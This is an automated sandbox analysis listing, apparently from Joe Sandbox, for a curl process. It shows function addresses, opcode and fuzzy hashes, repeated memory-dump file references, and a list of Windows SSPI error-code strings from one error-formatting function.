Opcode ID: 13866ceafc69d92b8819d83e552dcbaf68f8875ca474c1b98755ae9a2590ad66
Instruction ID: 50cb5bb55ce99f95616fd8b1d44b701ce0dcebb644c87e502bacf2d0ca51548b
Opcode Fuzzy Hash: 13866ceafc69d92b8819d83e552dcbaf68f8875ca474c1b98755ae9a2590ad66
Instruction Fuzzy Hash: 79418B613196C69FC70E8E6C48806EABF645F66100F44829EFCD4DB783C614EA65C7F5

Function 009EB310 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8377eef152cc60883f34b37f318ff57330f1c7d04067df99fe38fb1be5db0edd
Instruction ID: 4e36bec065db4908b7f0f919ef43d597490ce30d2e1f6d5166ad6ba93273a53e
Opcode Fuzzy Hash: 8377eef152cc60883f34b37f318ff57330f1c7d04067df99fe38fb1be5db0edd
Instruction Fuzzy Hash: F14188613096C69FC70E8E6C48806EABF645F62100F48829EFCD4DB783C614EA69C7F5

Function 00A24A70 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a03b026f23ab319e30827c04124f77a744e9720b2d1d2b00aa450e7685efc5f3
Instruction ID: f11753c2457fd43f1f9cfb11a5d0c04cd1ad1c71feffc383c08fbb8b90fa944c
Opcode Fuzzy Hash: a03b026f23ab319e30827c04124f77a744e9720b2d1d2b00aa450e7685efc5f3
Instruction Fuzzy Hash: 9841A9212096C6AFC70A8E6C48806AABF649F66100F4886DDFCD5DB743C614EA69C7F5

Function 00A2C780 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db55a66dd6d702b097a3603261c057be2a2679f6381eb1f94b8d76a538bec684
Instruction ID: 2f57e7163ad27e8fd2d1a83e843ea13c71a1e7173db09acfd804e3eb6ebe287e
Opcode Fuzzy Hash: db55a66dd6d702b097a3603261c057be2a2679f6381eb1f94b8d76a538bec684
Instruction Fuzzy Hash: 7F516E749146D28FC725CF69F8A1436BFF0AB4B305709445ED5EA832E1C739EA22CB60

Function 00A24AA0 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfcd01268f7af8d661a50c1fe7bd6fbcb1c25a727cc87c77a882633ab96dbf67
Instruction ID: ff80440813659c7336e7366bdf6339539f765dec800c4d99a7a66df26f36fbcd
Opcode Fuzzy Hash: cfcd01268f7af8d661a50c1fe7bd6fbcb1c25a727cc87c77a882633ab96dbf67
Instruction Fuzzy Hash: D841A5212093C59FC7068E6D48806AABF649F66200F4CC1DEFC89DF787C614E925C7B5

Function 00A5D100 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9101d6977789a94ee34dc4ee5bff3fe132a3e5d339ebb0a830e78e2eb59a1c69
Instruction ID: 52ada1babab009150ae756671e1a855e9f5da3f695096433f9dae9ae122703ea
Opcode Fuzzy Hash: 9101d6977789a94ee34dc4ee5bff3fe132a3e5d339ebb0a830e78e2eb59a1c69
Instruction Fuzzy Hash: 85317322319BC68FC31E8B5C884115AFFA1AF62101748CAAEDCD9DB743C610E919C7A1

Function 00A50700 Relevance: .1, Instructions: 100COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11552be5484fb1c091826dcc82dcbcc0c2c7434d86d4a07e82efca5a0b199ea1
Instruction ID: 694bf46a79327206ebd5a078a51e14a7ce5eb522f8b1bb7be50d4cc407b28f55
Opcode Fuzzy Hash: 11552be5484fb1c091826dcc82dcbcc0c2c7434d86d4a07e82efca5a0b199ea1
Instruction Fuzzy Hash: 883114756083018FC700CF29C88196BFBE4FB8C315F504A2EF89997342D635EA4ACB92

Function 00A724F0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 997a94deba15ef4dcaa5443008f1d25865a6235b78948c4aca5b612bafde30c4
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5211507734108243D6148B7DDCB47FBE799EBD6321B2DC37AD04A8B754D12AD9459700

Function 00A290F0 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c874100a7b1f7d28023fe6e9a841bfa9e326425289ec72e148f6b91acf342a9
Instruction ID: 234554bc45a63228fd439a9afe286b890f827881babb9acface996c54525bfc7
Opcode Fuzzy Hash: 0c874100a7b1f7d28023fe6e9a841bfa9e326425289ec72e148f6b91acf342a9
Instruction Fuzzy Hash: 342123321057821BD3618E3ECC48657BFE8AF52220F184B3DE4D686683DA25EA1DC391

Function 00982490 Relevance: 152.5, APIs: 4, Strings: 83, Instructions: 275windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?), ref: 009824B2
FormatMessageA.KERNEL32(00001200,00000000,00000000,00000000,?,000000FF,00000000), ref: 0098284C
GetLastError.KERNEL32 ref: 009828D6
SetLastError.KERNEL32(00000000), ref: 009828E1

Strings

SEC_E_INTERNAL_ERROR, xrefs: 009825B0
SEC_E_ALGORITHM_MISMATCH, xrefs: 009824DE
SEC_E_ENCRYPT_FAILURE, xrefs: 0098257E
SEC_E_ISSUING_CA_UNTRUSTED, xrefs: 009825D8
SEC_E_CANNOT_INSTALL, xrefs: 00982506
SEC_E_UNTRUSTED_ROOT, xrefs: 0098277C
Unknown error, xrefs: 009827F9, 0098281C
SEC_E_KDC_UNKNOWN_ETYPE, xrefs: 00982614
%s - %s, xrefs: 009828AE
No error, xrefs: 00982791, 0098279B
SEC_E_INCOMPLETE_CREDENTIALS, xrefs: 00982592
SEC_E_TOO_MANY_PRINCIPALS, xrefs: 0098274A
SEC_E_DELEGATION_POLICY, xrefs: 00982560
SEC_E_POLICY_NLTM_ONLY, xrefs: 009826C8
SEC_E_BAD_PKGID, xrefs: 009824F2
SEC_E_DOWNGRADE_DETECTED, xrefs: 00982574
SEC_E_NO_KERB_KEY, xrefs: 00982682
SEC_E_LOGON_DENIED, xrefs: 0098261E
SEC_E_WRONG_CREDENTIAL_HANDLE, xrefs: 00982783
%s (0x%04X%04X), xrefs: 0098281D
SEC_E_REVOCATION_OFFLINE_KDC, xrefs: 009826E6
SEC_I_INCOMPLETE_CREDENTIALS, xrefs: 009827D6
SEC_E_NO_S4U_PROT_SUPPORT, xrefs: 00982696
SEC_E_SMARTCARD_CERT_EXPIRED, xrefs: 0098270E
SEC_E_NO_AUTHENTICATING_AUTHORITY, xrefs: 0098265A
SEC_E_NO_IMPERSONATION, xrefs: 0098266E
SEC_E_REVOCATION_OFFLINE_C, xrefs: 009826DC
SEC_E_ILLEGAL_MESSAGE, xrefs: 00982588
SEC_E_KDC_CERT_REVOKED, xrefs: 009825F6
SEC_E_NOT_OWNER, xrefs: 00982650
SEC_E_BAD_BINDINGS, xrefs: 009824E8
SEC_E_CROSSREALM_DELEGATION_FAILURE, xrefs: 00982542
SEC_E_UNFINISHED_CONTEXT_DELETED, xrefs: 00982754
SEC_E_CANNOT_PACK, xrefs: 00982510
SEC_E_MULTIPLE_ACCOUNTS, xrefs: 0098263C
SEC_E_OUT_OF_SEQUENCE, xrefs: 009826AA
SEC_E_SMARTCARD_CERT_REVOKED, xrefs: 00982718
SEC_I_LOCAL_LOGON, xrefs: 009827DD
SEC_E_BUFFER_TOO_SMALL, xrefs: 009824FC
SEC_E_INCOMPLETE_MESSAGE, xrefs: 0098259C
SEC_E_MAX_REFERRALS_EXCEEDED, xrefs: 00982628
SEC_E_SECURITY_QOS_FAILED, xrefs: 009826FA
SEC_E_CRYPTO_SYSTEM_INVALID, xrefs: 0098254C
SEC_E_CERT_WRONG_USAGE, xrefs: 0098252E
SEC_I_SIGNATURE_NEEDED, xrefs: 009827F2
SEC_E_NO_IP_ADDRESSES, xrefs: 00982678
SEC_E_NO_CREDENTIALS, xrefs: 00982664
SEC_E_QOP_NOT_SUPPORTED, xrefs: 009826D2
SEC_E_TIME_SKEW, xrefs: 00982740
SEC_E_INSUFFICIENT_MEMORY, xrefs: 009825A6
SEC_E_PKINIT_NAME_MISMATCH, xrefs: 009826BE
SEC_E_UNSUPPORTED_FUNCTION, xrefs: 00982768
SEC_E_CONTEXT_EXPIRED, xrefs: 00982538
SEC_E_SECPKG_NOT_FOUND, xrefs: 009826F0
SEC_E_UNSUPPORTED_PREAUTH, xrefs: 00982772
SEC_E_DECRYPT_FAILURE, xrefs: 00982556
SEC_E_STRONG_CRYPTO_NOT_SUPPORTED, xrefs: 0098272C
SEC_I_COMPLETE_AND_CONTINUE, xrefs: 009827BA
SEC_E_CERT_EXPIRED, xrefs: 0098251A
SEC_E_MUST_BE_KDC, xrefs: 00982646
SEC_E_SMARTCARD_LOGON_REQUIRED, xrefs: 00982722
SEC_I_RENEGOTIATE, xrefs: 009827EB
SEC_E_CERT_UNKNOWN, xrefs: 00982524
SEC_E_INVALID_HANDLE, xrefs: 009825BA
SEC_E_KDC_INVALID_REQUEST, xrefs: 00982600
SEC_I_COMPLETE_NEEDED, xrefs: 009827C1
SEC_E_PKINIT_CLIENT_FAILURE, xrefs: 009826B4
SEC_E_INVALID_TOKEN, xrefs: 009825CE
SEC_E_MESSAGE_ALTERED, xrefs: 00982632
SEC_E_DELEGATION_REQUIRED, xrefs: 0098256A
SEC_E_TARGET_UNKNOWN, xrefs: 00982736
SEC_E_WRONG_PRINCIPAL, xrefs: 0098278A
SEC_E_UNKNOWN_CREDENTIALS, xrefs: 0098275E
SEC_I_NO_LSA_CONTEXT, xrefs: 009827E4
SEC_E_INVALID_PARAMETER, xrefs: 009825C4
SEC_I_CONTEXT_EXPIRED, xrefs: 009827C8
SEC_I_CONTINUE_NEEDED, xrefs: 009827CF, 00982807
SEC_E_SHUTDOWN_IN_PROGRESS, xrefs: 00982704
SEC_E_ISSUING_CA_UNTRUSTED_KDC, xrefs: 009825E2
SEC_E_NO_PA_DATA, xrefs: 0098268C
SEC_E_KDC_UNABLE_TO_REFER, xrefs: 0098260A
SEC_E_NO_TGT_REPLY, xrefs: 009826A0
SEC_E_KDC_CERT_EXPIRED, xrefs: 009825EC

Memory Dump Source

Source File: 00000025.00000002.3522749592.0000000000971000.00000020.00000001.01000000.00000006.sdmp, Offset: 00970000, based on PE: true

Associated: 00000025.00000002.3522720439.0000000000970000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523031186.0000000000A8D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523129214.0000000000AB9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523158175.0000000000ABB000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523188103.0000000000AC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523217262.0000000000AC1000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523253438.0000000000ACB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523299700.0000000000ACC000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523328108.0000000000ACD000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523353916.0000000000ACF000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523377120.0000000000AD1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523404946.0000000000AD2000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523429860.0000000000AD3000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523453608.0000000000AD4000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523524257.0000000000B17000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000025.00000002.3523561651.0000000000B1C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_970000_curl.jbxd

Similarity

API ID: ErrorLast$FormatMessage
String ID: %s (0x%04X%04X)$%s - %s$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYP